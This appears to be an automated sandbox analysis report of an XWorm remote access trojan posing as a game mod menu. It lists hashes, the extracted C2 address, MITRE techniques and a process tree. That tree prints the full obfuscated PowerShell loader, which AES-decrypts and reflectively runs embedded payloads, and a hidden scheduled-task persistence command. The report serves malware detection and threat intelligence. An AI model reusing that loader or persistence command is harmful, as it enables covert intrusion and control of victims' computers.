xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
148s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
14/05/2024, 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/memory/760-72-0x0000000007AF0000-0x0000000007AFE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
1	760	powershell.exe
3	760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1704	powershell.exe
760	powershell.exe
3588	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3588	powershell.exe
3588	powershell.exe
1704	powershell.exe
1704	powershell.exe
760	powershell.exe
760	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3588	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeIncreaseQuotaPrivilege	1704	powershell.exe
Token: SeSecurityPrivilege	1704	powershell.exe
Token: SeTakeOwnershipPrivilege	1704	powershell.exe
Token: SeLoadDriverPrivilege	1704	powershell.exe
Token: SeSystemProfilePrivilege	1704	powershell.exe
Token: SeSystemtimePrivilege	1704	powershell.exe
Token: SeProfSingleProcessPrivilege	1704	powershell.exe
Token: SeIncBasePriorityPrivilege	1704	powershell.exe
Token: SeCreatePagefilePrivilege	1704	powershell.exe
Token: SeBackupPrivilege	1704	powershell.exe
Token: SeRestorePrivilege	1704	powershell.exe
Token: SeShutdownPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeSystemEnvironmentPrivilege	1704	powershell.exe
Token: SeRemoteShutdownPrivilege	1704	powershell.exe
Token: SeUndockPrivilege	1704	powershell.exe
Token: SeManageVolumePrivilege	1704	powershell.exe
Token: 33	1704	powershell.exe
Token: 34	1704	powershell.exe
Token: 35	1704	powershell.exe
Token: 36	1704	powershell.exe
Token: SeIncreaseQuotaPrivilege	1704	powershell.exe
Token: SeSecurityPrivilege	1704	powershell.exe
Token: SeTakeOwnershipPrivilege	1704	powershell.exe
Token: SeLoadDriverPrivilege	1704	powershell.exe
Token: SeSystemProfilePrivilege	1704	powershell.exe
Token: SeSystemtimePrivilege	1704	powershell.exe
Token: SeProfSingleProcessPrivilege	1704	powershell.exe
Token: SeIncBasePriorityPrivilege	1704	powershell.exe
Token: SeCreatePagefilePrivilege	1704	powershell.exe
Token: SeBackupPrivilege	1704	powershell.exe
Token: SeRestorePrivilege	1704	powershell.exe
Token: SeShutdownPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeSystemEnvironmentPrivilege	1704	powershell.exe
Token: SeRemoteShutdownPrivilege	1704	powershell.exe
Token: SeUndockPrivilege	1704	powershell.exe
Token: SeManageVolumePrivilege	1704	powershell.exe
Token: 33	1704	powershell.exe
Token: 34	1704	powershell.exe
Token: 35	1704	powershell.exe
Token: 36	1704	powershell.exe
Token: SeIncreaseQuotaPrivilege	1704	powershell.exe
Token: SeSecurityPrivilege	1704	powershell.exe
Token: SeTakeOwnershipPrivilege	1704	powershell.exe
Token: SeLoadDriverPrivilege	1704	powershell.exe
Token: SeSystemProfilePrivilege	1704	powershell.exe
Token: SeSystemtimePrivilege	1704	powershell.exe
Token: SeProfSingleProcessPrivilege	1704	powershell.exe
Token: SeIncBasePriorityPrivilege	1704	powershell.exe
Token: SeCreatePagefilePrivilege	1704	powershell.exe
Token: SeBackupPrivilege	1704	powershell.exe
Token: SeRestorePrivilege	1704	powershell.exe
Token: SeShutdownPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeSystemEnvironmentPrivilege	1704	powershell.exe
Token: SeRemoteShutdownPrivilege	1704	powershell.exe
Token: SeUndockPrivilege	1704	powershell.exe
Token: SeManageVolumePrivilege	1704	powershell.exe
Token: 33	1704	powershell.exe
Token: 34	1704	powershell.exe
Token: 35	1704	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3712 wrote to memory of 3660	3712	kiddionsmodmenu.exe	79
PID 3712 wrote to memory of 3660	3712	kiddionsmodmenu.exe	79
PID 3712 wrote to memory of 3660	3712	kiddionsmodmenu.exe	79
PID 3660 wrote to memory of 3240	3660	cmd.exe	84
PID 3660 wrote to memory of 3240	3660	cmd.exe	84
PID 3660 wrote to memory of 3240	3660	cmd.exe	84
PID 3660 wrote to memory of 3588	3660	cmd.exe	85
PID 3660 wrote to memory of 3588	3660	cmd.exe	85
PID 3660 wrote to memory of 3588	3660	cmd.exe	85
PID 3588 wrote to memory of 1704	3588	powershell.exe	87
PID 3588 wrote to memory of 1704	3588	powershell.exe	87
PID 3588 wrote to memory of 1704	3588	powershell.exe	87
PID 3588 wrote to memory of 2436	3588	powershell.exe	90
PID 3588 wrote to memory of 2436	3588	powershell.exe	90
PID 3588 wrote to memory of 2436	3588	powershell.exe	90
PID 2436 wrote to memory of 2288	2436	WScript.exe	91
PID 2436 wrote to memory of 2288	2436	WScript.exe	91
PID 2436 wrote to memory of 2288	2436	WScript.exe	91
PID 2288 wrote to memory of 4388	2288	cmd.exe	93
PID 2288 wrote to memory of 4388	2288	cmd.exe	93
PID 2288 wrote to memory of 4388	2288	cmd.exe	93
PID 2288 wrote to memory of 760	2288	cmd.exe	94
PID 2288 wrote to memory of 760	2288	cmd.exe	94
PID 2288 wrote to memory of 760	2288	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS72A0.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS72A0.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_311_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_311.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1704
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_311.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2436
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_311.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2288
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_311.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4388
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
8ba8fc1034d449222856ea8fa2531e28

SHA1
7570fe1788e57484c5138b6cead052fbc3366f3e

SHA256
2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2

SHA512
7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
b67d5a43c53a4e704478f5ae58922822

SHA1
6c3f879dc058fb9f8fbe4ee5cd5293bab85a6bbd

SHA256
2e2f96a2aee9decf4348a705ae9a789104abc7289005de25691397e4bd9e673a

SHA512
90b952a3dba12ee3c6b33bb17427154827780de69f619fb782f8644c89426741d4f475570feae0f7cb852432ab942a665531ffd4bbf9dff8031dd9f52abc82cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS72A0.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rzg0nfi0.1ae.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_311.vbs

Filesize
115B

MD5
146ae6d2d32af0b1b24e25935fe1bcd1

SHA1
0c244527f52a101154215f79ba28b74c26c3adac

SHA256
293751c7ad23750d300a6544241a45c9595f6a4ad59f2f93fa625c8b34842feb

SHA512
74ba2a0bd2e040a3ac85989aa61b5ca5a09111424103f547d169af9e90f3ac33d7c8aa2caff5cd27e00cb7d611627d34993bbd5d564947fff9b5173b9e7ddf53

Download Submit
memory/760-77-0x0000000009430000-0x000000000995C000-memory.dmp

Filesize
5.2MB

Download
memory/760-76-0x0000000008010000-0x00000000080C0000-memory.dmp

Filesize
704KB

Download
memory/760-74-0x0000000008D30000-0x0000000008DC2000-memory.dmp

Filesize
584KB

Download
memory/760-73-0x0000000007BB0000-0x0000000007C4C000-memory.dmp

Filesize
624KB

Download
memory/760-72-0x0000000007AF0000-0x0000000007AFE000-memory.dmp

Filesize
56KB

Download
memory/1704-52-0x0000000007AD0000-0x0000000007AE1000-memory.dmp

Filesize
68KB

Download
memory/1704-38-0x0000000007710000-0x0000000007744000-memory.dmp

Filesize
208KB

Download
memory/1704-51-0x0000000007B40000-0x0000000007BD6000-memory.dmp

Filesize
600KB

Download
memory/1704-50-0x0000000007930000-0x000000000793A000-memory.dmp

Filesize
40KB

Download
memory/1704-49-0x0000000007770000-0x0000000007814000-memory.dmp

Filesize
656KB

Download
memory/1704-48-0x0000000007750000-0x000000000776E000-memory.dmp

Filesize
120KB

Download
memory/1704-39-0x000000006FC00000-0x000000006FC4C000-memory.dmp

Filesize
304KB

Download
memory/3588-27-0x0000000007DF0000-0x0000000007E0E000-memory.dmp

Filesize
120KB

Download
memory/3588-10-0x0000000006450000-0x00000000064B6000-memory.dmp

Filesize
408KB

Download
memory/3588-22-0x0000000006A50000-0x0000000006A9C000-memory.dmp

Filesize
304KB

Download
memory/3588-26-0x0000000007DD0000-0x0000000007DD8000-memory.dmp

Filesize
32KB

Download
memory/3588-25-0x0000000007D80000-0x0000000007D9A000-memory.dmp

Filesize
104KB

Download
memory/3588-24-0x0000000008400000-0x0000000008A7A000-memory.dmp

Filesize
6.5MB

Download
memory/3588-23-0x0000000007BA0000-0x0000000007BE6000-memory.dmp

Filesize
280KB

Download
memory/3588-21-0x0000000006A00000-0x0000000006A1E000-memory.dmp

Filesize
120KB

Download
memory/3588-20-0x0000000006530000-0x0000000006887000-memory.dmp

Filesize
3.3MB

Download
memory/3588-28-0x0000000008A80000-0x0000000009026000-memory.dmp

Filesize
5.6MB

Download
memory/3588-11-0x00000000064C0000-0x0000000006526000-memory.dmp

Filesize
408KB

Download
memory/3588-71-0x0000000073250000-0x0000000073A01000-memory.dmp

Filesize
7.7MB

Download
memory/3588-9-0x0000000005C50000-0x0000000005C72000-memory.dmp

Filesize
136KB

Download
memory/3588-8-0x0000000005DB0000-0x00000000063DA000-memory.dmp

Filesize
6.2MB

Download
memory/3588-7-0x0000000073250000-0x0000000073A01000-memory.dmp

Filesize
7.7MB

Download
memory/3588-6-0x0000000005660000-0x0000000005696000-memory.dmp

Filesize
216KB

Download
memory/3588-5-0x000000007325E000-0x000000007325F000-memory.dmp

Filesize
4KB

Download